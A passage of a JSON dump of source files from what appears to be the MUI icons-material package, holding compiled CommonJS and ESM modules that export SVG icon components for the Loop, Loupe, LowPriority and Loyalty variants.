    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4V1L8 5l4 4V6c3.31 0 6 2.69 6 6 0 1.01-.25 1.97-.7 2.8l1.46 1.46C19.54 15.03 20 13.57 20 12c0-4.42-3.58-8-8-8m0 14c-3.31 0-6-2.69-6-6 0-1.01.25-1.97.7-2.8L5.24 7.74C4.46 8.97 4 10.43 4 12c0 4.42 3.58 8 8 8v3l4-4-4-4z\"\n}), 'LoopOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LoopRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4V2.21c0-.45-.54-.67-.85-.35l-2.8 2.79c-.2.2-.2.51 0 .71l2.79 2.79c.32.31.86.09.86-.36V6c3.31 0 6 2.69 6 6 0 .79-.15 1.56-.44 2.25-.15.36-.04.77.23 1.04.51.51 1.37.33 1.64-.34.37-.91.57-1.91.57-2.95 0-4.42-3.58-8-8-8m0 14c-3.31 0-6-2.69-6-6 0-.79.15-1.56.44-2.25.15-.36.04-.77-.23-1.04-.51-.51-1.37-.33-1.64.34C4.2 9.96 4 10.96 4 12c0 4.42 3.58 8 8 8v1.79c0 .45.54.67.85.35l2.79-2.79c.2-.2.2-.51 0-.71l-2.79-2.79c-.31-.31-.85-.09-.85.36z\"\n}), 'LoopRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LoopRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4V2.21c0-.45-.54-.67-.85-.35l-2.8 2.79c-.2.2-.2.51 0 .71l2.79 2.79c.32.31.86.09.86-.36V6c3.31 0 6 2.69 6 6 0 .79-.15 1.56-.44 2.25-.15.36-.04.77.23 1.04.51.51 1.37.33 1.64-.34.37-.91.57-1.91.57-2.95 0-4.42-3.58-8-8-8m0 14c-3.31 0-6-2.69-6-6 0-.79.15-1.56.44-2.25.15-.36.04-.77-.23-1.04-.51-.51-1.37-.33-1.64.34C4.2 9.96 4 10.96 4 12c0 4.42 3.58 8 8 8v1.79c0 .45.54.67.85.35l2.79-2.79c.2-.2.2-.51 0-.71l-2.79-2.79c-.31-.31-.85-.09-.85.36z\"\n}), 'LoopRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LoopSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4V1L8 5l4 4V6c3.31 0 6 2.69 6 6 0 1.01-.25 1.97-.7 2.8l1.46 1.46C19.54 15.03 20 13.57 20 12c0-4.42-3.58-8-8-8m0 14c-3.31 0-6-2.69-6-6 0-1.01.25-1.97.7-2.8L5.24 7.74C4.46 8.97 4 10.43 4 12c0 4.42 3.58 8 8 8v3l4-4-4-4z\"\n}), 'LoopSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LoopSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4V1L8 5l4 4V6c3.31 0 6 2.69 6 6 0 1.01-.25 1.97-.7 2.8l1.46 1.46C19.54 15.03 20 13.57 20 12c0-4.42-3.58-8-8-8m0 14c-3.31 0-6-2.69-6-6 0-1.01.25-1.97.7-2.8L5.24 7.74C4.46 8.97 4 10.43 4 12c0 4.42 3.58 8 8 8v3l4-4-4-4z\"\n}), 'LoopSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LoopTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 18c-3.31 0-6-2.69-6-6 0-1.01.25-1.97.7-2.8L5.24 7.74C4.46 8.97 4 10.43 4 12c0 4.42 3.58 8 8 8v3l4-4-4-4zm0-14V1L8 5l4 4V6c3.31 0 6 2.69 6 6 0 1.01-.25 1.97-.7 2.8l1.46 1.46C19.54 15.03 20 13.57 20 12c0-4.42-3.58-8-8-8\"\n}), 'LoopTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LoopTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 18c-3.31 0-6-2.69-6-6 0-1.01.25-1.97.7-2.8L5.24 7.74C4.46 8.97 4 10.43 4 12c0 4.42 3.58 8 8 8v3l4-4-4-4zm0-14V1L8 5l4 4V6c3.31 0 6 2.69 6 6 0 1.01-.25 1.97-.7 2.8l1.46 1.46C19.54 15.03 20 13.57 20 12c0-4.42-3.58-8-8-8\"\n}), 'LoopTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Loupe.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 7h-2v4H7v2h4v4h2v-4h4v-2h-4zm-1-5C6.49 2 2 6.49 2 12s4.49 10 10 10h8c1.1 0 2-.9 2-2v-8c0-5.51-4.49-10-10-10m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'Loupe');"
  },
  {
    "path": "packages/mui-icons-material/lib/Loupe.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 7h-2v4H7v2h4v4h2v-4h4v-2h-4zm-1-5C6.49 2 2 6.49 2 12s4.49 10 10 10h8c1.1 0 2-.9 2-2v-8c0-5.51-4.49-10-10-10m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'Loupe');"
  },
  {
    "path": "packages/mui-icons-material/lib/LoupeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 7h-2v4H7v2h4v4h2v-4h4v-2h-4zm-1-5C6.49 2 2 6.49 2 12s4.49 10 10 10h8c1.1 0 2-.9 2-2v-8c0-5.51-4.49-10-10-10m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'LoupeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LoupeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 7h-2v4H7v2h4v4h2v-4h4v-2h-4zm-1-5C6.49 2 2 6.49 2 12s4.49 10 10 10h8c1.1 0 2-.9 2-2v-8c0-5.51-4.49-10-10-10m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'LoupeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LoupeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7c-.55 0-1 .45-1 1v3H8c-.55 0-1 .45-1 1s.45 1 1 1h3v3c0 .55.45 1 1 1s1-.45 1-1v-3h3c.55 0 1-.45 1-1s-.45-1-1-1h-3V8c0-.55-.45-1-1-1m0-5C6.49 2 2 6.49 2 12s4.49 10 10 10h8c1.1 0 2-.9 2-2v-8c0-5.51-4.49-10-10-10m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'LoupeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LoupeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7c-.55 0-1 .45-1 1v3H8c-.55 0-1 .45-1 1s.45 1 1 1h3v3c0 .55.45 1 1 1s1-.45 1-1v-3h3c.55 0 1-.45 1-1s-.45-1-1-1h-3V8c0-.55-.45-1-1-1m0-5C6.49 2 2 6.49 2 12s4.49 10 10 10h8c1.1 0 2-.9 2-2v-8c0-5.51-4.49-10-10-10m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'LoupeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LoupeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 7h-2v4H7v2h4v4h2v-4h4v-2h-4zm-.27-4.97c-6.08-.44-11.14 4.62-10.7 10.7.38 5.28 5 9.27 10.29 9.27H22v-9.68c0-5.3-3.98-9.91-9.27-10.29M12 20c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'LoupeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LoupeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 7h-2v4H7v2h4v4h2v-4h4v-2h-4zm-.27-4.97c-6.08-.44-11.14 4.62-10.7 10.7.38 5.28 5 9.27 10.29 9.27H22v-9.68c0-5.3-3.98-9.91-9.27-10.29M12 20c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'LoupeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LoupeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 20c4.41 0 8-3.59 8-8s-3.59-8-8-8-8 3.59-8 8 3.59 8 8 8m-5-9h4V7h2v4h4v2h-4v4h-2v-4H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 17h2v-4h4v-2h-4V7h-2v4H7v2h4zm1 5h8c1.1 0 2-.9 2-2v-8c0-5.51-4.49-10-10-10S2 6.49 2 12s4.49 10 10 10m0-18c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8 3.59-8 8-8\"\n}, \"1\")], 'LoupeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LoupeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 20c4.41 0 8-3.59 8-8s-3.59-8-8-8-8 3.59-8 8 3.59 8 8 8m-5-9h4V7h2v4h4v2h-4v4h-2v-4H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 17h2v-4h4v-2h-4V7h-2v4H7v2h4zm1 5h8c1.1 0 2-.9 2-2v-8c0-5.51-4.49-10-10-10S2 6.49 2 12s4.49 10 10 10m0-18c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8 3.59-8 8-8\"\n}, \"1\")], 'LoupeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LowPriority.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 5h8v2h-8zm0 5.5h8v2h-8zm0 5.5h8v2h-8zM2 11.5C2 15.08 4.92 18 8.5 18H9v2l3-3-3-3v2h-.5C6.02 16 4 13.98 4 11.5S6.02 7 8.5 7H12V5H8.5C4.92 5 2 7.92 2 11.5\"\n}), 'LowPriority');"
  },
  {
    "path": "packages/mui-icons-material/lib/LowPriority.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 5h8v2h-8zm0 5.5h8v2h-8zm0 5.5h8v2h-8zM2 11.5C2 15.08 4.92 18 8.5 18H9v2l3-3-3-3v2h-.5C6.02 16 4 13.98 4 11.5S6.02 7 8.5 7H12V5H8.5C4.92 5 2 7.92 2 11.5\"\n}), 'LowPriority');"
  },
  {
    "path": "packages/mui-icons-material/lib/LowPriorityOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 5h8v2h-8zm0 5.5h8v2h-8zm0 5.5h8v2h-8zM2 11.5C2 15.08 4.92 18 8.5 18H9v2l3-3-3-3v2h-.5C6.02 16 4 13.98 4 11.5S6.02 7 8.5 7H12V5H8.5C4.92 5 2 7.92 2 11.5\"\n}), 'LowPriorityOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LowPriorityOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 5h8v2h-8zm0 5.5h8v2h-8zm0 5.5h8v2h-8zM2 11.5C2 15.08 4.92 18 8.5 18H9v2l3-3-3-3v2h-.5C6.02 16 4 13.98 4 11.5S6.02 7 8.5 7H12V5H8.5C4.92 5 2 7.92 2 11.5\"\n}), 'LowPriorityOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LowPriorityRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 5h6c.55 0 1 .45 1 1s-.45 1-1 1h-6c-.55 0-1-.45-1-1s.45-1 1-1m0 5.5h6c.55 0 1 .45 1 1s-.45 1-1 1h-6c-.55 0-1-.45-1-1s.45-1 1-1m0 5.5h6c.55 0 1 .45 1 1s-.45 1-1 1h-6c-.55 0-1-.45-1-1s.45-1 1-1m-5.15 3.15 1.79-1.79c.2-.2.2-.51 0-.71l-1.79-1.79c-.31-.32-.85-.1-.85.35v3.59c0 .44.54.66.85.35M9 16h-.3c-2.35 0-4.45-1.71-4.68-4.05C3.76 9.27 5.87 7 8.5 7H11c.55 0 1-.45 1-1s-.45-1-1-1H8.5c-3.86 0-6.96 3.4-6.44 7.36C2.48 15.64 5.43 18 8.73 18H9\"\n}), 'LowPriorityRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LowPriorityRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 5h6c.55 0 1 .45 1 1s-.45 1-1 1h-6c-.55 0-1-.45-1-1s.45-1 1-1m0 5.5h6c.55 0 1 .45 1 1s-.45 1-1 1h-6c-.55 0-1-.45-1-1s.45-1 1-1m0 5.5h6c.55 0 1 .45 1 1s-.45 1-1 1h-6c-.55 0-1-.45-1-1s.45-1 1-1m-5.15 3.15 1.79-1.79c.2-.2.2-.51 0-.71l-1.79-1.79c-.31-.32-.85-.1-.85.35v3.59c0 .44.54.66.85.35M9 16h-.3c-2.35 0-4.45-1.71-4.68-4.05C3.76 9.27 5.87 7 8.5 7H11c.55 0 1-.45 1-1s-.45-1-1-1H8.5c-3.86 0-6.96 3.4-6.44 7.36C2.48 15.64 5.43 18 8.73 18H9\"\n}), 'LowPriorityRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LowPrioritySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 5h8v2h-8zm0 5.5h8v2h-8zm0 5.5h8v2h-8zM2 11.5C2 15.08 4.92 18 8.5 18H9v2l3-3-3-3v2h-.5C6.02 16 4 13.98 4 11.5S6.02 7 8.5 7H12V5H8.5C4.92 5 2 7.92 2 11.5\"\n}), 'LowPrioritySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LowPrioritySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 5h8v2h-8zm0 5.5h8v2h-8zm0 5.5h8v2h-8zM2 11.5C2 15.08 4.92 18 8.5 18H9v2l3-3-3-3v2h-.5C6.02 16 4 13.98 4 11.5S6.02 7 8.5 7H12V5H8.5C4.92 5 2 7.92 2 11.5\"\n}), 'LowPrioritySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LowPriorityTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 5h8v2h-8zm0 5.5h8v2h-8zm0 5.5h8v2h-8zM2 11.5C2 15.08 4.92 18 8.5 18H9v2l3-3-3-3v2h-.5C6.02 16 4 13.98 4 11.5S6.02 7 8.5 7H12V5H8.5C4.92 5 2 7.92 2 11.5\"\n}), 'LowPriorityTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LowPriorityTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 5h8v2h-8zm0 5.5h8v2h-8zm0 5.5h8v2h-8zM2 11.5C2 15.08 4.92 18 8.5 18H9v2l3-3-3-3v2h-.5C6.02 16 4 13.98 4 11.5S6.02 7 8.5 7H12V5H8.5C4.92 5 2 7.92 2 11.5\"\n}), 'LowPriorityTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Loyalty.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.41 11.58-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42M5.5 7C4.67 7 4 6.33 4 5.5S4.67 4 5.5 4 7 4.67 7 5.5 6.33 7 5.5 7m11.77 8.27L13 19.54l-4.27-4.27C8.28 14.81 8 14.19 8 13.5c0-1.38 1.12-2.5 2.5-2.5.69 0 1.32.28 1.77.74l.73.72.73-.73c.45-.45 1.08-.73 1.77-.73 1.38 0 2.5 1.12 2.5 2.5 0 .69-.28 1.32-.73 1.77\"\n}), 'Loyalty');"
  },
  {
    "path": "packages/mui-icons-material/lib/Loyalty.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.41 11.58-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42M5.5 7C4.67 7 4 6.33 4 5.5S4.67 4 5.5 4 7 4.67 7 5.5 6.33 7 5.5 7m11.77 8.27L13 19.54l-4.27-4.27C8.28 14.81 8 14.19 8 13.5c0-1.38 1.12-2.5 2.5-2.5.69 0 1.32.28 1.77.74l.73.72.73-.73c.45-.45 1.08-.73 1.77-.73 1.38 0 2.5 1.12 2.5 2.5 0 .69-.28 1.32-.73 1.77\"\n}), 'Loyalty');"
  },
  {
    "path": "packages/mui-icons-material/lib/LoyaltyOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.41 11.58-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42M13 20.01 4 11V4h7v-.01l9 9z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"6.5\",\n  cy: \"6.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.9 12.55c0 .57.23 1.07.6 1.45l3.5 3.5 3.5-3.5c.37-.37.6-.89.6-1.45 0-1.13-.92-2.05-2.05-2.05-.57 0-1.08.23-1.45.6l-.6.6-.6-.59c-.37-.38-.89-.61-1.45-.61-1.13 0-2.05.92-2.05 2.05\"\n}, \"2\")], 'LoyaltyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LoyaltyOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.41 11.58-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42M13 20.01 4 11V4h7v-.01l9 9z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"6.5\",\n  cy: \"6.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.9 12.55c0 .57.23 1.07.6 1.45l3.5 3.5 3.5-3.5c.37-.37.6-.89.6-1.45 0-1.13-.92-2.05-2.05-2.05-.57 0-1.08.23-1.45.6l-.6.6-.6-.59c-.37-.38-.89-.61-1.45-.61-1.13 0-2.05.92-2.05 2.05\"\n}, \"2\")], 'LoyaltyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LoyaltyRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.41 11.58-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42M5.5 7C4.67 7 4 6.33 4 5.5S4.67 4 5.5 4 7 4.67 7 5.5 6.33 7 5.5 7m11.77 8.27-3.92 3.92c-.2.2-.51.2-.71 0l-3.92-3.92c-.57-.58-.87-1.43-.67-2.34.19-.88.89-1.61 1.76-1.84.94-.25 1.85.04 2.44.65l.75.72.73-.73c.45-.45 1.08-.73 1.77-.73 1.38 0 2.5 1.12 2.5 2.5 0 .69-.28 1.32-.73 1.77\"\n}), 'LoyaltyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LoyaltyRounded.mjs",
